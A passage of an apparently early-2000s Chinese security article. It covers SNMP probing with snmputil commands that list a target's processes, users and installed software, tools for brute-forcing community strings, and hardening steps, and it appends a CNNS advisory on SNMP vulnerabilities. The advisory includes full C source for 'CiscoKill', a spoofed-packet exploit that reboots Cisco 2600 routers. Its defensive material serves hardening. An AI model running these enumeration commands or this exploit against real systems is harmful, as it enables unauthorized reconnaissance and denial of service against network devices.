community，嗯就是那个“community strings”“查询密码”拉。 
oid，这个要多说一下，这个呢，就是物件识别代码（Object Identifier）。 
可以把oid理解成MIB管理信息库中各种信息分类存放树资源的一个数字标识。 
 
尝试获得对方机器当前进程列表 
snmputil.exe walk 对方ip public .1.3.6.1.2.1.25.4.2.1.2 
 
尝试获得对方机器系统用户列表 
snmputil walk 对方ip public .1.3.6.1.4.1.77.1.2.25.1.1 
 
整理一些列在下面： 
snmputil walk 对方ip public .1.3.6.1.2.1.25.4.2.1.2 列出系统进程 
snmputil walk 对方ip public .1.3.6.1.4.1.77.1.2.25.1.1 列系统用户列表 
snmputil get 对方ip public .1.3.6.1.4.1.77.1.4.1.0 列出域名 
snmputil walk 对方ip public .1.3.6.1.2.1.25.6.3.1.2 列出安装的软件 
snmputil walk 对方ip public .1.3.6.1.2.1.1 列出系统信息 
　 
三、一些工具的推荐 
snmputil的功能已经完全足够用来进行对网络主机的刺探扫描了，只是因为它是命令行下的工具 
而且，超常的oid标识符也并不是那么方便输入。 
这里我推荐两款非常不错的网络管理工具，当然，它们的另一个作用就是snmp的刺探。 
　 
SolarWinds 2001的IP Network Browser 
IP Network Browser是一款snmp浏览工具，它可以提供在输入正确的community strings“查询密码” 
后的运行着snmp服务的WIN2K/NT系统上的任何可得的信息。 
在下图中，我们可以看到“查询密码”为：public 
而在Accounts（账号）表单里，我们已经获得了同上面snmputil命令行方式一样的反馈信息。 
 
功能强大噢。 
整个SolarWinds 软件套件更包含了更多的网络管理工具，以后我将在其他的文章里继续介绍。 
　 
LANguard Network Scanner 2.0 
这是一个网络安全综合扫描工具，主要功能：显示每台主机的NETBIOS主机名，MAC地址，搜寻 
共享，操作系统类型判断，并测试共享密码的安全性等等，以html格式输出。 
 

当然，LANguard Network Scanner还有一些更高级更适用的功能 
比如暴力破解community strings，呵呵自己配置一个字典的话 
会非常有效的。 
　 
四、如何防范基于snmp的刺探扫描 
首先需要注意的是，snmp服务的通讯端口是UDP端口，这也就是大部分网络管理人员很容易忽略的地方。 
往往某些网管配置服务器阻断了NetBIOS空会话的建立，就认为系统安全有了相当的保障，可由于安装 
了SNMP服务，不知不觉中，就给系统带去了极大的隐患。 
最方便和容易的解决方法，就是关闭SNMP服务，或者卸载掉该服务。 
如果关掉SNMP服务不方便的话，那么可以通过修改注册表或者直接修改图形界面的SNMP服务属性 
进行安全配置。 
开始——程序——管理工具——服务——SNMP Service——属性——安全 
 
在这个配置界面中，可以修改community strings，也就是微软所说的“团体名称”，呵呵，也就是 
我所说的“查询密码”。或者可以配置是否从某些安全主机上才允许SNMP查询。 
不过NT4环境下的朋友就必须修改注册表了。 
修改community strings，在 
[HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/SNMP/Parameters/ValidCommunities] 
下，将public的名称修改成其它的名称就可以了。 
如果要限定允许的ip才可以进行SNMP查询，可以进入 
[HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/SNMP/Parameters/PermittedManagers] 
添加字符串，名称为“1”，内容为要允许的主机IP。 
当然，如果允许多台机器的话，就要名称沿用“2、3、4”等名称了。 
 
-----------------------------------------------------------------
 
附带资料:
 
SNMP协议实现存在多个漏洞
 

--------------------------------------------------------------------------------
 来源:cnns.net  类别:系统漏洞  日期:2002-6-22 8:08:04
 
 
 
 
涉及程序： 
SNMP协议和各种网络设备 
 
描述： 
snmp协议实现机制存在多个漏洞严重危害互联网基础安全 
 
详细： 
背景：
ASN No.1信令为抽象数据类型形式的标准，1984年以来，被用于编写和发送复杂的数据结构。这个语言从80年代开始衍生出了多个通信协议和应用，是电信业、电力业和核电业计算机网络基础信令。也是互联网赖以运行的基础通信规则之一。全球级计算机安全专家正在调查ASN N0.1信令的安全脆弱性。这些脆弱性严重威胁互联网基础设施安全，黑客可以开发攻击程序，关闭ISP的骨干路由器、交换机和众多的基础网络设备。最终破坏性的后果将是引起互联网瘫痪。
业界和政府的计算机安全专家门早就在关注这些问题。CNNS的安全专家早在1999年就发现很多电信公司的骨干路由器有致命缺陷。在那个时候，只需要很简单的操作，就可以引起大规模的网络瘫痪。举一个例子，一个显著的漏洞特征曾经出现在台湾中华电信，1999年如果有黑客施之以简单攻击，整个台湾地区大约65%的用户就不再能上网。
由于ASN No.1信令的安全脆弱性，超过100家计算机网络设备的提供商将付出代价。弥补这些缺陷的投入将超过1亿美金。
数百家网络设备提供商在今年早期就获得警告。如今已经纷纷给出解决方案。
由于多个internet通信协议都是基于ASN No.1计算机网络语言，ASN No.1的脆弱性将广泛威胁通信行业。最为显著的例子就是造成SNMP协议多个安全漏洞。相同的问题还影响至少其它三个互联网协议，在这里不做详细叙述。
Oulu University Secure Programming Group (OUSPG,http://www.ee.oulu.fi/research/ouspg/)长期专注于SNMP协议的研究，并披露了这个严重的安全系列问题。 
 
=========================================================================================
多个计算机网络设备厂商的产品存在由于snmp协议脆弱性引起的多个漏洞，这些缺陷可能允许非法越权访问、拒绝服务攻击、导致不稳定的运行状况。
Simple Network Management Protocol (SNMP)协议被广泛用于网络设备的监控和管理。
SNMPv1定义了多个类型的SNMP讯息，如请求信息、配置改变、请求响应、SNMP对象列举，和主动的警报发送。
 
一、SNMPv1跟踪消息处理系列缺陷
SNMP代理(SNMP agents)发送跟踪消息(SNMP trap messages)到管理器(SNMP manager)，向管理器报告错误信息、警报和其它的有关宿主的状态
信息。管理器必须解析和处理这些数据。OUSPG发现很多SNMP管理器在解析和处理过程中存在缺陷。
 
二、SNMPv1请求信息处理系列缺陷
SNMP请求信息是从管理器向snmp agent代理发出的。请求信息用于获取代理信息或指示snmp agent配置设备参数。SNMP agent代理必须正确解码和处理该信息。
在解码以及随后的数据处理过程中，代理和管理器都有出现拒绝服务错误、格式化字符串错误和缓冲溢出攻击的可能。有的攻击甚至不需要提供正确的SNMP community string(SNMP协议设置的一个关键参数，有点类似口令)。
 
这些漏洞可以导致拒绝服务、服务中断，还有一些情况下可以允许攻击者获取设备的非法访问权限。攻击对于不同的产品有不同的影响。 
 
解决方案： 
本站列出了一百多个全球大厂商关于这个安全问题的响应和有关信息：
http://www.cnns.net/patch/vendor.htm
 
请注意，以下的安全措施对于您的网络日常维护和网络设置构架可能有重大的影响。要确保以下措施的结果不会影响网络运行性能。
 
1、从厂商获得补丁程序并执行
http://www.cnns.net/patch/vendor.htm提供了厂商有关该安全性问题的信息。
 
2、禁止SNMP服务
CNNS建议您禁止所有不必要运行的服务，包括SNMP。不幸的是，有些产品在SNMP服务被禁止的情况下会有意外情况发生或者拒绝服务。如果是这样的话，必须执行更高级的安全设置。
 
3、边界访问过滤
临时的措施是，在网络边界禁止不良信息流进入内部网络或者发往外部网络。对于网络管理者来说，比较有力的措施是通过防火墙等过滤设备控制对SNMP服务的请求。比如，除指定的服务器外，缺省情况下通通禁止对SNMP服务的请求，以下端口的过滤有利于外部攻击者对内部网的SNMP攻击：
snmp 161/udp # Simple Network Management Protocol (SNMP)
snmp 162/udp # SNMP system management messages
以下这些服务并不常用，但有些产品可能运行这些服务：
 
snmp 161/tcp # Simple Network Management Protocol (SNMP)
snmp 162/tcp # SNMP system management messages
smux 199/tcp # SNMP Unix Multiplexer
smux 199/udp # SNMP Unix Multiplexer
synoptics-relay 391/tcp # SynOptics SNMP Relay Port
synoptics-relay 391/udp # SynOptics SNMP Relay Port
agentx 705/tcp # AgentX
snmp-tcp-port 1993/tcp # cisco SNMP TCP port
snmp-tcp-port 1993/udp # cisco SNMP TCP port
过滤对这些服务的请求，必须细心慎重，以免影响正常的网络运行。
值得注意的是，SNMP守护进程可能在该设备上绑定所有的IP地址。因此，要合理考虑包过滤策略。比如，即使禁止了SNMP包直接发送给普通的网络地址，还是有可能受到攻击。因为攻击者可以利用SNMP缺陷攻击一些特殊的网络地址，如：
网络广播地址
子网广播地址
和所有的loopback地址。(127.x.x.x)loopback地址常被路由器用于管理用途。
管理员可以考虑是否过滤这些数据包。但必须慎重，因为不当的设置可能影响网络性能。
 
最后，对以下的RPC服务的访问也可以考虑禁止：
名称 程序ID 别名
snmp 100122 na.snmp snmp-cmc snmp-synoptics snmp-unisys snmp-utk
snmpv2 100138 na.snmpv2 # SNM Version 2.2.2
snmpXdmid 100249
值得注意的是，这些措施对内部攻击无效。
 
4、在内部网络中过滤不正常的SNMP访问。
在很多网络系统中，只有有限的网络管理系统需要发生SNMP请求。基于这种情形，对于大多数的SNMP代理，可以设置仅接受有限几台主机的SNMP请求。这样可以降低内部攻击风险。使用这些安全措施同样必须慎重，以免不当的设置降低网络性能。
 

5、修改缺省的"community string"
很多支持SNMP服务的产品的出厂设置中，默认的community-string是"public"(只读访问)和"private"(读写访问)。CNNS强烈建议用户修改这两个缺省字符串。否则攻击者将可以通过SNMP协议修改设备的设定。修改了这两个缺省"口令"后，还要防备监听攻击以免攻击者获得新的设置"口令"。SNMPv3对这点做了改进，参考 RFC2574。
 
6、隔离SNMP包
从网络管理的角度，用隔离措施可以降低SNMP攻击的风险。
包括物理隔离、VLAN逻辑隔离和VPN方式的隔离。注意通过交换机做VLAN隔离将加大攻击者攻击难度，但理论上并不能完全杜绝这类攻击。
 
------------------------------------------------------
 
 
攻击方法： 
范例：
一、如果获取支持SNMP协议设备的"community string"，在合适的环境下，攻击者将可以：
1、修改路由器配置
2、获取服务器最高控制权
3、重新启动设备 
二、攻击者在不知道"community string"的前提下，也能进行拒绝服务攻击。
以下这段代码将重启Cisco 2600路由器：
/* This program send a spoofed snmpv1 get request that cause system reboot
on Cisco 2600 routers with IOS version 12.0(10) 
 
Author : kundera@tiscali.it ... don't be lame use for testing only! ..:) */
 
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
 
 
 
struct in_addr sourceip_addr;
struct in_addr destip_addr;
struct sockaddr_in dest;
 
struct ip *IP; 
struct udphdr *UDP; 
int p_number=1,sok,datasize,i=0; 
 
char *packet,*source,*target; 
char *packetck;
char *data,c;
 
char snmpkill[] = 
"/x30/x81/xaf/x02/x01/x00/x04/x06/x70/x75/x62/x6c/x69/x63/xa0/x81" 
"/xa1/x02/x02/x09/x28/x02/x01/x00/x02/x01/x00/x30/x81/x94/x30/x81" 
"/x91/x06/x81/x8c/x4d/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73" 
"/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73" 
"/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73" 
"/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73" 
"/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73" 
"/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73" 
"/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73" 
"/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73" 
"/x25/x73/x25/x73/x25/x73/x81/xff/xff/xff/xff/xff/xff/xff/xff/x7f" 
"/x05";
 

struct pseudoudp {
u_long ipsource;
u_long ipdest;
char zero;
char proto;
u_short length;
} *psudp;
 

in_cksum (unsigned short *ptr, int nbytes)
{
 
register long sum; /* assumes long == 32 bits */
u_short oddbyte;
register u_short answer; /* assumes u_short == 16 bits */
 
/*
* Our algorithm is simple, using a 32-bit accumulator (sum),
* we add sequential 16-bit words to it, and at the end, fold back
* all the carry bits from the top 16 bits into the lower 16 bits.
*/
 
sum = 0;
while (nbytes > 1)
{
sum += *ptr++;
nbytes -= 2;
}
 
/* mop up an odd byte, if necessary */
if (nbytes == 1)
{
oddbyte = 0; /* make sure top half is zero */
*((u_char *) & oddbyte) = *(u_char *) ptr; /* one byte only */
sum += oddbyte;
}
 
/*
* Add back carry outs from top 16 bits to low 16 bits.
*/
 
sum = (sum >> 16) + (sum & 0xffff); /* add high-16 to low-16 */
sum += (sum >> 16); /* add carry */
answer = ~sum; /* ones-complement, then truncate to 16 bits */
return (answer);
}
 

void usage (void)
{
printf("Kundera CiscoKill v1.0/n");
printf("Usage: ciscokill [-n number of packets] [-s source ip_addr] -t ip_target /n");
}
 
 
 
int main(int argc,char **argv){
 
if (argc < 2){
usage();
exit(1);
}
 
while((c=getopt(argc,argv,"s:t:n:"))!=EOF){
switch(c) {
case 's': source=optarg; break;
case 'n': p_number=atoi(optarg); break;
case 't': target=optarg;
}
}
 
if ( (sok=socket(AF_INET,SOCK_RAW,IPPROTO_RAW)) < 0)
{
printf("Can't create socket./n");
exit(EXIT_FAILURE);
}
 
destip_addr.s_addr=inet_addr(target);
sourceip_addr.s_addr=inet_addr(source);
 
datasize=sizeof(snmpkill);
 
packet = ( char * )malloc( 20 + 8 + datasize );
 
IP = (struct ip *)packet; 
 
memset(packet,0,sizeof(packet)); 

IP->ip_dst.s_addr = destip_addr.s_addr;
IP->ip_src.s_addr = sourceip_addr.s_addr;
IP->ip_v = 4;
IP->ip_hl = 5;
IP->ip_ttl = 245;
IP->ip_id = htons(666);
IP->ip_p = 17;
IP->ip_len = htons(20 + 8 + datasize);
IP->ip_sum = in_cksum((u_short *)packet,20);
 

UDP = (struct udphdr *)(packet+20);
UDP->source = htons(666); 
UDP->dest = htons(161);
UDP->len = htons(8+datasize);
UDP->check = 0;
packetck = (char *)malloc(8 + datasize + sizeof(struct pseudoudp));
bzero(packetck,8 + datasize + sizeof(struct pseudoudp)); 
psudp = (struct pseudoudp *) (packetck);
psudp->ipdest = destip_addr.s_addr;
psudp->ipsource = sourceip_addr.s_addr;
psudp->zero = 0;
psudp->proto = 17;
psudp->length = htons(8+datasize);
memcpy(packetck+sizeof(struct pseudoudp),UDP,8+datasize);
memcpy(packetck+sizeof(struct pseudoudp)+8,snmpkill,datasize);
 
UDP->check = in_cksum((u_short *)packetck,8+datasize+sizeof(struct pseudoudp)); 
 
data = (unsigned char *)(packet+20+8); 
memcpy(data,snmpkill,datasize); 

dest.sin_family=AF_INET;
dest.sin_addr.s_addr=destip_addr.s_addr; 
 
while (i<p_number)
{
if (( sendto(sok,packet,20+8+datasize,0,( struct sockaddr * ) &dest,sizeof(dest)))<0)
{
printf("Error sending packet./n");
exit(EXIT_FAILURE);
}
 
i++;
 
}
printf("%d packets sent./n",i);
 
}

 
 
 
 
 
安全建议： 
在允许的情况下，禁止SNMP协议 

附加信息： 
http://www.kb.cert.org/vuls/id/854306
http://www.kb.cert.org/vuls/id/107186
CA-2002-03 
http://online.wsj.com/article_email/0,,SB1023731908761703280,00.html
 

相关站点： 
http://www.cert.org/advisories/CA-2002-03.html